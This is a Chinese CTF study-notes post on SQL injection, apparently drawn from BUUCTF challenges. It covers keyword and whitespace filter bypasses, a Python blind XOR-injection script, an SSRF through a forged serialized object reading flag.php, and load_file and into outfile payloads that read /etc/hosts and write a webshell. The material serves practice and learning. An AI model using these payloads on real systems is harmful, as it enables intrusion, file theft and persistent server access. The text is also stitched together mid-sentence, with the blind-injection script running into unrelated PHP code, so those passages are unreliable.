sql注入挺难的我感觉,(个人比较菜)但是很重要,有好多绕过,和注入手段需要一步步在尝试,因此借此机会,本章刷一下buuctf各个sql注入题目,来巩固联系一下自己在sql注入方面的知识。
下面是通过看CTF特训营,整理了一些sql注入相关的知识点。以及在buuctf遇到的一些sql注入类型题目。
绕过篇:sql注入的一些绕过类型:
(1)过滤关键字1. 即过滤了例如 select 、from、or等的关键字。有些题目在过滤时没有进行递归过滤,而且刚好将关键字替换为空。此时,就可以使用穿插关键字方法进行绕过,如:
select -- selselectect
or -- oorr
union -- uniunionon 等等
2. 也可以大小写转换来绕过,如:
select -- SelEct
or -- oR
union -- UnIon 等等
3. 有时候,过滤函数是通过十六进制进行过滤的.我们可以通过对关键字的个别字母进行替换,如:
select -- selec\x74
or -- o\x72
union -- UnIo\x6e 等等
4. 有时候还可以通过双重URL编码来绕过操作,如:
or -- %25%36%66%25%37%32
union -- %25%37%35%25%36%39%25%36%65%25%36%66%25%36%65 等
(2) 过滤空格1. 通过注释符来绕过,一般的注释符有如下几个:
# -- // /**/ ;%00
这时候我们就可以用这些注释符来绕过空格过滤。例如:
union/**/select/**/username/**/from/**/user
2.通过url编码来绕过,空格的编码为%20,使用可以通过二次URL编码进行绕过:
%20 -- %2520
3. 通过空白字符绕过,下面列举了一些数据库中一些常见的可以用来绕过空格过滤的空白字符(十六进制)。
SQLite3 -- 0A,0D,0C,09,20
MYSQL5 -- 09,0A,0B,0C,0D,A0,20
.......
4. 通过特殊符号(如反引号、加号等),利用反引号绕过空格的语句如下:
...select`username`,`from`...
5. 科学计数法绕过,如语句下:
select user,password from users where user_id=0e1union select 1,2
(3) 过滤单引号绕过单引号过滤题目最多的使用魔术引号,php配置文件php.ini中的magic_quote_gpc
当php版本号100) 回显为:NO! Not this! Click others~~~
证实了存在异或注入! 因为 1^0=1
构造查询语句:?id=1^(判断语句)^1
注意:这里最后多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的
例如我的length 少了一个g,出现语法错误会返回Error
我可以通过改变后面的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的
贴上师傅写的脚本:[极客大挑战 2019]FinalSQL_Kevin_xiao~的博客-CSDN博客_finalsql
import requests
import time
# 判断数据库名长度
def get_DBlen(url):
for i in range(1, 10):
db_url = url + "1^1^(length(database())=%d)#" % i
r = requests.get(db_url)
if "Click" in r.text:
print("数据库名称的长度为:%d" % i)
return i
# 爆数据库名
def get_DBname(url, length):
DBname = ""
length = length + 1
for i in range(1, length):
Max = 122
Min = 41
Mid = (Max + Min) // 2
while Min name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
2. 从isValidBlog()函数可以看出对blog进行了正则匹配,证实了最初的疑惑;
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
3.这个地方是直接把blog当作参数传给get()函数,url没有经过任何限制,存在ssrf漏洞
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
正常注册后,爆出来的data字段位:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:16:"http://admin.com";}
说明注册时会序列化我们的信息,回显到页面时再反序列化。 这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf 修改自己最后blog字段内容,改为file:///var/www/html/flag.php
,并把对应的s改为对应长度 29
最终poc
-1 unions/**/select 1,2,3,O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php
";}
查看源码,点击内联表单里面有嵌入base64的加密信息,得到flag。
因为sql注入没有过滤load_file,可直接取得flag
构造payload:
-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
查看源码,得到flag。
有一些比赛存在SQL注入漏洞,但是flag并不在数据库中,这时候需要考虑是否要读取文件或是写shell来进一步渗透。
以MYSQL为例,在MYSQL用户拥有 File 权限的情况下,可以使用load_file 和 into outfile/dumpfile 进行读写。
假设一个题目存在注入的sql语句为:
select username from user where uId = $id
此时,我们就可以构造读取文件的Payload了,代码如下:
?id=-1+union+select+load_file( '/etc/hosts' )
在某些需要绕过单引号的情况下,还可以使用文件名的十六进制作为load_file()函数的参数 如:
?id= -1+union+select+load_file(0x2f6574632f686f737473)
如果题目中给出或其他漏洞泄露出来flag的位置,可以直接读取flag文件;如果没有给出,
可以考虑读取常见的配置文件或者敏感文件,如MYSQL的配置文件、Apache的配置
文件、.bash_history .
此外,如果题目所考察的点不是通过SQL读取文件,可以考虑是否能够通过sql语句进行
写文件,但不仅限于webshell、计划任务等。写文件payload如下:
?id=-1+union+select+''+into+outfile '/var/www/html/shell.php'
或:
?id=-1+union+select+unhex(一句话shell的十六进制)+into+dumpfile '/var/www/html/shell.php'
这里要注意的是,写入文件需要确定有写文件的权限,还要确定目标文件名不能是已存在的,尝试写入一个已存在的文件会报错。
在权限足够高的时候,还可以写入UDF库执行系统命令来进一步扩大攻击面。